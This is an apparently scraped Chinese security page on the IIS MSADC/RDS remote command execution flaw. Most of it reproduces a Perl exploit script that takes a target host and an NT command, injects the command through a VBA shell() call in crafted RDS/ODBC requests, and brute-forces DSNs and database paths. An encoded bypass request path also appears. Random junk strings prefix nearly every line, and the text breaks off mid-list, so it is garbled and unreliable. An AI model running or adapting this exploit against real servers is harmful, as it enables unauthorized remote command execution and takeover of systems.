IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
)D6i {I0 YjTr49Af0 涉及程序:
0|tyKP|J Microsoft NT server
|UWIV eZ]r"_? 描述:
]1d)jWG
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
_BJ:GDz> A>upT' 详细:
d$bO.t5CLh 如果你没有时间读详细内容的话,就删除:
P![ZO6`:W' c:\Program Files\Common Files\System\Msadc\msadcs.dll
,e;,+w=~E 有关的安全问题就没有了。
Tc||96%2^ vnQFq 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
.[]S!@+% P[q>;Fx* 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
ArAe=m!u 关于利用ODBC远程漏洞的描述,请参看:
JvW7h(u7g 4_j_!QH87 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ov, V'W*'wo 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
E=,5%>C0#% http://www.microsoft.com/security/bulletins/MS99-025faq.asp .`+~mQ
Wn Sq_.RU 这里不再论述。
]J!#"m-] {Hl(t$3V` 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
}(Fmr7%m =CD6x=
l6 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
U+B"$yBR 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
*k,3@_5 yLfyLyO L E Zf|>^N #将下面这段保存为txt文件,然后: "perl -x 文件名"
ejkUNCKQt /ZabY #!perl
>TCit1yD #
G`0{31us # MSADC/RDS 'usage' (aka exploit) script
PDA9.b<q0 #
E.NfVeq # by rain.forest.puppy
RxJbQs$Ph #
XfVdYmii # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
UMd.=HC L # beta test and find errors!
hN=kU9@knC C za}cF use Socket; use Getopt::Std;
k`N*_/(|n getopts("e:vd:h:XR", \%args);
FO^6c Oi: Hs print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
uIO,9> ee [j@i^B & if (!defined $args{h} && !defined $args{R}) {
Wc+(xk print qq~
:KX*j$5U Usage: msadc.pl -h <host> { -d <delay> -X -v }
|&WYu,QQ4 -h <host> = host you want to scan (ip or domain)
O]hUOc`k -d <seconds> = delay between calls, default 1 second
H#hpaP; -X = dump Index Server path table, if available
Hkia&nz'3 -v = verbose
86-Rm -e = external dictionary file for step 5
+,)k@OI ll$mRC Or a -R will resume a command session
uuFQTx)) &ot^+uVH ~; exit;}
<>n|_6'$90 lN5PKsGl $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
leNX5 sX if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
sB*dv06b0 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
R-Lpgi<a" if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
p7`9
d1n $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
_/>I-\xWA if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
>@bU8}rT +<xQF if (!defined $args{R}){ $ret = &has_msadc;
@"fv[=Xb die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
]6`K JC~sz^>p\ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
}#e=*8F7 . "cmd /c ";
_^b\#Jz4U3 $in=<STDIN>; chomp $in;
}6%\/d1~ 6 $command="cmd /c " . $in ;
V*te8HIe zsQkI@)sO if (defined $args{R}) {&load; exit;}
HiK+}?I 2oahQ:
}B print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Gd\/n*j &try_btcustmr;
fuA]
y4A 9x4z m print "\nStep 2: Trying to make our own DSN...";
ivl %%nY' &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
vD9.X}l] ~$4(|Fq/ print "\nStep 3: Trying known DSNs...";
UYZC% $5x &known_dsn;
UIf#Gy|l (NR( )2 print "\nStep 4: Trying known .mdbs...";
`&fW<5- &known_mdb;
=d5;F`m >T[Y>] if (defined $args{e}){
|-{ Hy(9 print "\nStep 5: Trying dictionary of DSN names...";
8NNh8k#6 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
D}!YF~ 5,f`5'$ print "Sorry Charley...maybe next time?\n";
!0zcS7&P exit;
wo(O+L/w + XBF,<P ##############################################################################
A ?V-Sz# v
))`U,Gm sub sendraw { # ripped and modded from whisker
[W$Mn.5<s sleep($delay); # it's a DoS on the server! At least on mine...
)_ !a: my ($pstr)=@_;
S#p_Y^A socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
UJL'4 t/ die("Socket problems\n");
5D7 L)> if(connect(S,pack "SnA4x8",2,80,$target)){
Ofoh4BL'1@ select(S); $|=1;
R>:D&$[RD print $pstr; my @in=<S>;
4pXY7+e2' select(STDOUT); close(S);
RZpjr !R return @in;
R{A$|Ipaq } else { die("Can't connect...\n"); }}
JleClB(2n/ _IU5HT}2 ##############################################################################
=eW4?9Uq *zweZG8: sub make_header { # make the HTTP request
Gy["_;+xU my $msadc=<<EOT
.c<U5/ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Er@xrhH User-Agent: ACTIVEDATA
M8Bp-_ Host: $ip
b g0ix" Content-Length: $clen
Xqm?@JN Connection: Keep-Alive
O z(=%oS m !<FlEkN ADCClientVersion:01.06
tuwlsBV Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
'NjeF6 &DYC3*)Jih --!ADM!ROX!YOUR!WORLD!
~0-)S@ Content-Type: application/x-varg
pl,XS6mB Content-Length: $reqlen
ckP AH E@ @Q ~;@M EOT
It/'R-H ; $msadc=~s/\n/\r\n/g;
Y~^R^J return $msadc;}
$;ny`^8 P;gd!Yl<- ##############################################################################
{*hGe_^ pQ7elv] sub make_req { # make the RDS request
_hJ+8B^` my ($switch, $p1, $p2)=@_;
$d-yG553 my $req=""; my $t1, $t2, $query, $dsn;
94
6r#`q o\Fv~^ if ($switch==1){ # this is the btcustmr.mdb query
6A>bm{`c: $query="Select * from Customers where City=" . make_shell();
,s}&|+
'" $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
uInI{> $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
M{)eA<6 A\7sP = elsif ($switch==2){ # this is general make table query
#H~$^L $query="create table AZZ (B int, C varchar(10))";
QRl+7V $dsn="$p1";}
j8?! J^TC K9ih(fh) elsif ($switch==3){ # this is general exploit table query
h1 "# $query="select * from AZZ where C=" . make_shell();
oIj/V|ByK $dsn="$p1";}
PW"?*~& =$^}"}$
elsif ($switch==4){ # attempt to hork file info from index server
M54czo=l $query="select path from scope()";
ZK2&l8 $dsn="Provider=MSIDXS;";}
L*6<h ^P [#YO elsif ($switch==5){ # bad query
+B+cN[d $query="select";
O<>+l*bk $dsn="$p1";}
I}y6ke! W!9~bBF', $t1= make_unicode($query);
XD!}uDZ^ $t2= make_unicode($dsn);
W95q1f#7 $req = "\x02\x00\x03\x00";
7}c[GC)F $req.= "\x08\x00" . pack ("S1", length($t1));
r0&LjH&R $req.= "\x00\x00" . $t1 ;
(C`nBiL< $req.= "\x08\x00" . pack ("S1", length($t2));
{4[dHfIy $req.= "\x00\x00" . $t2 ;
^-~=U^2tC $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
2|RxowXZ" return $req;}
i[.7 8K-s SZtSUt(ss ##############################################################################
jL3
*m ' _K`1U sub make_shell { # this makes the shell() statement
D"fjk1 return "'|shell(\"$command\")|'";}
k{Y\YG%b
zC[LcC*+J ##############################################################################
6oq^n
s- "J}B
lB sub make_unicode { # quick little function to convert to unicode
m\
qR myO my ($in)=@_; my $out;
Q>w)b]d~c for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
j[$+DCO#|m return $out;}
b=W kRj ojj
T ##############################################################################
dKchQsgCg q~AvxO sub rdo_success { # checks for RDO return success (this is kludge)
/d}5R@Oy my (@in) = @_; my $base=content_start(@in);
0&&P+adk if($in[$base]=~/multipart\/mixed/){
Rdd9JJsVd return 1 if( $in[$base+10]=~/^\x09\x00/ );}
[%Dh0hOg return 0;}
q9^.f9- <0l:B;3 ##############################################################################
8)` '}>8+vU` sub make_dsn { # this makes a DSN for us
O7&OCo|b%> my @drives=("c","d","e","f");
P6v@
Sn print "\nMaking DSN: ";
= K`]cEL foreach $drive (@drives) {
K6~')9Q print "$drive: ";
DEfhR?v my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
R
iLqMSq "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
n|QA\,= . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
QqeF $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
@k:@mzB7R return 0 if $2 eq "404"; # not found/doesn't exist
EW)r/Av:, if($2 eq "200") {
kAxJ#RG foreach $line (@results) {
OWYY2&.h return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
.Z 17X_ } return 0;}
4h}\Kl 5':j=KQE_ ##############################################################################
h=NXU9n%' q}g0-Da sub verify_exists {
VF7H0XR/k5 my ($page)=@_;
>Mm.MNU my @results=sendraw("GET $page HTTP/1.0\n\n");
3] U/^f3 return $results[0];}
aH500 TUp%Cx ##############################################################################
]@}@G[e#[ &(x>J:b sub try_btcustmr {
sJg3WN my @drives=("c","d","e","f");
p1z^i( my @dirs=("winnt","winnt35","winnt351","win","windows");
,~K4+
t_ k.Z?BNP foreach $dir (@dirs) {
!) d print "$dir -> "; # fun status so you can see progress
*9r 32]i; foreach $drive (@drives) {
Au )%w print "$drive: "; # ditto
@$!"}xDR' $reqlen=length( make_req(1,$drive,$dir) ) - 28;
G6"4JTWO $reqlenlen=length( "$reqlen" );
cf_X=;yaqy $clen= 206 + $reqlenlen + $reqlen;
qNkX:|j
yW_goS0 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
M|$A)D1 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
D@iS#+22 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
b0/[+OY =D 5!Xq'| ##############################################################################
CTX%~1_`O ].gC9@C:$i sub odbc_error {
pl 1CEoe my (@in)=@_; my $base;
+k my $base = content_start(@in);
7H[.o~\ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
6SSrkj }U $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?Y$3R"p@3` $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6<n+p'+n $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ia-&? return $in[$base+4].$in[$base+5].$in[$base+6];}
,=}+.ax print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
wqXo]dX print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
baf@"P9@\A $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
V Z60 6lxZo_ ##############################################################################
dSzq}w4xY E{}eYU sub verbose {
gLg\W3TOi my ($in)=@_;
d[ce3':z return if !$verbose;
>P ygUY
d print STDOUT "\n$in\n";}
UWBR5 Bq85g5Dc ##############################################################################
a'\fS7aE0l "&kXAwe sub save {
072`i46 my ($p1, $p2, $p3, $p4)=@_;
JG'&anbm open(OUT, ">rds.save") || print "Problem saving parameters...\n";
d8f S79 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
4wwRNu* close OUT;}
!z?:Y#P3 ZpU4"x> ##############################################################################
?eR^\-e 'p'nAB''! sub load {
S3/Z]?o my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
EPeV1$ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
}Ot2; T @p=<IN>; close(IN);
rP&.`m88n $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
N5fMMi(O $target= inet_aton($ip) || die("inet_aton problems");
oVnHbvP1X print "Resuming to $ip ...";
d[KG0E5` $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
s.@DI|Gnf if($p[1]==1) {
Cx`?}A\% $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
&eX^ll $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
}nNCgH my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
r6`KZ TU if (rdo_success(@results)){print "Success!\n";}
,tOc+3Qz$ else { print "failed\n"; verbose(odbc_error(@results));}}
^(yU)k3pu elsif ($p[1]==3){
mINir- if(run_query("$p[3]")){
9=MxuBl print "Success!\n";} else { print "failed\n"; }}
e5cvmUF_W elsif ($p[1]==4){
y8O<_VOO}" if(run_query($drvst . "$p[3]")){
a 1pa#WC print "Success!\n"; } else { print "failed\n"; }}
}Xy<F?Mh exit;}
EXbhyg q^kOyA. ##############################################################################
Aj2yAg km!jxs sub create_table {
<UO'&?G my ($in)=@_;
+Tp>3Jh2 $reqlen=length( make_req(2,$in,"") ) - 28;
EWoGdH| $reqlenlen=length( "$reqlen" );
KZTT2KsYl $clen= 206 + $reqlenlen + $reqlen;
SNf*2~uq) my @results=sendraw(make_header() . make_req(2,$in,""));
lA7\c# return 1 if rdo_success(@results);
\RyW#[( my $temp= odbc_error(@results); verbose($temp);
ucC'SS return 1 if $temp=~/Table 'AZZ' already exists/;
Ps7Bt(/ return 0;}
t{ScK%S6 ]1n
=O"vE ##############################################################################
mE_?E&T`| \!:^=2VF sub known_dsn {
S4(lC%$| # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
d+Jj4OnP my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
/=ro$@ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
:+\B|*T2.L "banner", "banners", "ads", "ADCDemo", "ADCTest");
VSa#X |z b\9}zmG[u foreach $dSn (@dsns) {
q%GlS=o" print ".";
dJd(m&.|N next if (!is_access("DSN=$dSn"));
wloQk(T<W if(create_table("DSN=$dSn")){
xD<:'-ri> print "$dSn successful\n";
+}0/ %5 =1 if(run_query("DSN=$dSn")){
D[ (A`!) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Q+'QJ7fw'| print "Something's borked. Use verbose next time\n";}}} print "\n";}
,v+~vXO&\ _kT$/k ##############################################################################
E
h>qUa k9?fE sub is_access {
D>Dch0{H,: my ($in)=@_;
1-60gI1) $reqlen=length( make_req(5,$in,"") ) - 28;
8!{F6DG $reqlenlen=length( "$reqlen" );
$17utJ58 $clen= 206 + $reqlenlen + $reqlen;
&'-ze,k} my @results=sendraw(make_header() . make_req(5,$in,""));
t#6@~49 my $temp= odbc_error(@results);
D^9r#& verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Y5Jrkr)k return 0;}
-*Z;EA- ht%:e?@i ##############################################################################
k~ZE4^dM 9.qjEe sub run_query {
zQQ=8#] my ($in)=@_;
p$
%D $reqlen=length( make_req(3,$in,"") ) - 28;
ACcxQK} $reqlenlen=length( "$reqlen" );
V/}g'_E $clen= 206 + $reqlenlen + $reqlen;
U6@j=|q my @results=sendraw(make_header() . make_req(3,$in,""));
#^fDKM return 1 if rdo_success(@results);
`-L{J0xq my $temp= odbc_error(@results); verbose($temp);
VCZ.{MD return 0;}
0WI3m2i RZV6\j ##############################################################################
PYp<eo\ TS{ycGY sub known_mdb {
*CtOQ my @drives=("c","d","e","f","g");
EpCsJ08K my @dirs=("winnt","winnt35","winnt351","win","windows");
..xg4V/ my $dir, $drive, $mdb;
"eiZZSz my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
%;|^*?!J0 B&E qd # this is sparse, because I don't know of many
~ g \GC my @sysmdbs=( "\\catroot\\icatalog.mdb",
Gn_rf" "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
0HRLTgIC "\\system32\\certmdb.mdb",
`w
J^ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
P~y% o%E^41M7E my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
syYe0~ "\\cfusion\\cfapps\\forums\\forums_.mdb",
Oi=c
6n "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
H_<X\( "\\cfusion\\cfapps\\security\\realm_.mdb",
n$fYgZKn "\\cfusion\\cfapps\\security\\data\\realm.mdb",
>Hq)1o "\\cfusion\\database\\cfexamples.mdb",
!Z*2X
^ "\\cfusion\\database\\cfsnippets.mdb",
S0 AaJty "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
uIkB&